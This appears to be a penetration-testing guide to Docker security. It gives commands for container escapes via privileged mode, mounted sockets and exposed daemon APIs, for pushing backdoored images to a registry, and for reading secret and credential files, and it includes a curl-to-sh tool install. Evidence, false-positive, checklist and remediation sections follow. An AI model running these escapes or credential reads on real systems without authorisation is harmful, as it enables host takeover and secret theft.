Docker Security Testing
Container security assessment covering Docker daemon misconfigurations, container escapes, image vulnerabilities, and registry attacks.
Docker Escape Decision Tree
Container Detection
# Check if running in Docker
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv 2>/dev/null
# Check container ID
cat /etc/hostname
# Container capabilities
cat /proc/self/status | grep CapDocker Daemon Attacks
Exposed Docker Socket
Critical Vulnerability
# Check for exposed TCP socket
nmap -p 2375,2376 --script docker-version TARGET
# Test unauthenticated access
curl http://TARGET:2375/info
curl http://TARGET:2375/containers/json
curl http://TARGET:2375/images/json
# List all containers
curl -s http://TARGET:2375/containers/json?all=1 | jqMounted Docker Socket Escape
# Check for mounted Docker socket
ls -la /var/run/docker.sock
# If present, we can control Docker daemon
docker ps
docker images
# Escape to host
docker run -it --privileged --pid=host --net=host -v /:/host alpine chroot /hostContainer Escape Techniques
Privileged Container
# Check if privileged (all capabilities)
cat /proc/self/status | grep CapEff
# 0000003fffffffff = privileged (all caps)
# Method 1: Mount host disk
fdisk -l # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Method 2: nsenter to host
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bashCapability Abuse
| Capability | Escape Method | Risk |
|---|---|---|
| CAP_SYS_ADMIN | Mount filesystems, cgroup escape | Critical |
| CAP_SYS_PTRACE | Process injection, /proc access | High |
| CAP_NET_ADMIN | Network manipulation, sniffing | Medium |
| CAP_SYS_MODULE | Load kernel modules | Critical |
Sensitive Mount Escapes
# Check sensitive mounts
mount | grep -E 'proc|sys|dev'
ls -la /dev
# /dev/sda - Host disk access
fdisk -l
mount /dev/sda1 /mnt
# Host network namespace
# If --net=host is set, access host network interfaces
ip addrImage and Registry Attacks
Registry Enumeration
# Check for exposed registry
curl http://REGISTRY:5000/v2/
# List repositories
curl http://REGISTRY:5000/v2/_catalog
# List tags for image
curl http://REGISTRY:5000/v2/IMAGE_NAME/tags/list
# Get manifest
curl http://REGISTRY:5000/v2/IMAGE_NAME/manifests/latest
# Download layer blob
curl -o layer.tar.gz http://REGISTRY:5000/v2/IMAGE_NAME/blobs/sha256:HASH
# Extract and analyze
tar -xzf layer.tar.gz
grep -r password .
grep -r secret .Malicious Image Injection
# If write access to registry exists
# 1. Pull legitimate image
docker pull registry:5000/app:latest
# 2. Modify with backdoor
docker run -it registry:5000/app:latest /bin/sh
# Add backdoor, then commit
docker commit CONTAINER_ID registry:5000/app:latest
# 3. Push backdoored image
docker push registry:5000/app:latestImage Security Scanning
# Trivy - Comprehensive vulnerability scanner
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL nginx:latest
# Grype - Anchore vulnerability scanner
grype nginx:latest
# Dive - Analyze image layers for secrets
dive nginx:latestRuntime Exploitation
Container Process Enumeration
# From host - enumerate containers
docker ps -a
docker inspect CONTAINER
# Get container filesystem
docker export CONTAINER > container.tar
# Copy files from container
docker cp CONTAINER:/etc/passwd ./passwd
# Execute in running container
docker exec -it CONTAINER /bin/bash
# View logs (may contain secrets)
docker logs CONTAINERSecrets in Container
# Environment variables
env
# Docker secrets location
ls -la /run/secrets/
cat /run/secrets/*
# Check for mounted secret files
mount | grep secret
# Common credential locations
cat ~/.aws/credentials
cat ~/.docker/config.json
cat ~/.kube/configTools
Deepce
Docker enumeration and escape tool.
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | shCDK
Container penetration toolkit.
./cdk evaluate
./cdk run escape-privilegedAmicontained
Container introspection tool.
./amicontainedDocker Bench
CIS Docker benchmark checker.
docker run -it --net host --pid host docker/docker-bench-securityQuick Escape Check Script
#!/bin/bash
# Quick container escape enumeration
echo '=== Container Detection ==='
cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo '[+] Running in Docker'
ls /.dockerenv 2>/dev/null && echo '[+] .dockerenv exists'
echo ''
echo '=== Privileges ==='
cat /proc/self/status | grep CapEff
echo ''
echo '=== Sensitive Mounts ==='
ls -la /var/run/docker.sock 2>/dev/null && echo '[!] Docker socket mounted!'
echo ''
echo '=== Network ==='
hostname -I
ip routeDocker Security Labs
Hands-on practice with Docker attack and escape techniques.
Evidence to Capture
A container finding is only meaningful with the runtime configuration that produced it, because the same image escapes or does not depending on how it was started.
Container identity: Container ID from /etc/hostname, the image digest, and the orchestrator in play, so the client can find the exact workload.
Capability set: CapEff and CapPrm from /proc/self/status with the capability names decoded, captured before and after any escalation.
Mount and namespace state: The output of mount plus the namespace links under /proc/1/ns, showing which host paths and namespaces are shared.
Daemon exposure: The socket path or TCP endpoint, whether it is authenticated, and the API version the daemon returned.
Escape command and result: The exact command and the host-side observation that proves it, such as a host file read or a host process listed, not just a shell prompt.
Image provenance: Registry, repository, tag and digest, plus the layer or file that introduced the issue.
Likely False Positives
Container root is not host root, and a capability is not a syscall. Each of these turns an apparent escape into a configuration note.
- Rootless or user-namespaced daemon: Root inside a user-namespaced container is not root on the host. Check the uid mapping before writing an escape.
- Seccomp or AppArmor blocking the syscall: A capability being present does not mean the syscall it needs is permitted; the attempt has to complete.
- Read-only or nosuid mount: An escape that depends on writing to a host mount fails on a read-only mount, and a nosuid mount defeats a setuid step.
- Privileged without host reachability: A privileged container in a VM-isolated runtime still has to reach something worth reaching. State the impact actually demonstrated.
- Socket present but not writable: A mounted docker socket the process cannot write to, or a daemon behind TLS client authentication, is not an exposure.
- Scanner severity without reachability: A critical CVE in a package the service never loads is not an exploitable finding for this workload.
- Resources limits read as isolation: Memory and CPU limits constrain a container, they do not isolate it. Their absence is not an escape path.
Testing Checklist
Host and daemon
- ☐ Socket path or TCP endpoint recorded with its authentication state
- ☐ Daemon and API version captured
- ☐ Socket reachability tested from the workload process, not only from a shell
- ☐ Host filesystem paths mounted into the container listed
Container configuration
- ☐ Capability set decoded and compared against the default set
- ☐ Privileged flag, host PID and host network recorded
- ☐ Seccomp and AppArmor profiles named
- ☐ User and uid mapping inside the container recorded
- ☐ Writable host mounts identified
Image and registry
- ☐ Image digest recorded, not the tag alone
- ☐ Registry authentication and anonymous pull tested
- ☐ Image history reviewed for build-time secrets
- ☐ Base image age and known vulnerabilities noted with the scanner used
Runtime
- ☐ Escape attempts recorded with the command and the host-side proof
- ☐ Secrets in environment variables and files recorded as paths
- ☐ Host process visibility from the container noted
- ☐ Evidence timestamps recorded for correlation with host logs
Remediation & Defense
Daemon and socket
- • Do not mount the Docker socket into workloads; use a scoped API proxy where a workload must control containers
- • Require TLS client authentication on any TCP daemon endpoint
- • Run the daemon rootless where the platform supports it
Container configuration
- • Drop all capabilities and add back only those the process needs
- • Remove privileged mode, host PID and host network from workload specs
- • Apply a seccomp profile and a read-only root filesystem
- • Run as a non-root user with a fixed uid
Image and registry
- • Pin images by digest and rebuild rather than pulling tags
- • Scan images in CI and block on the severity threshold the client accepts
- • Keep registry credentials out of image layers and build arguments
Host
- • Segment the host network so an escape cannot reach management interfaces
- • Log container start, exec and mount events on the host
- • Patch the kernel and container runtime on the same cadence as the host OS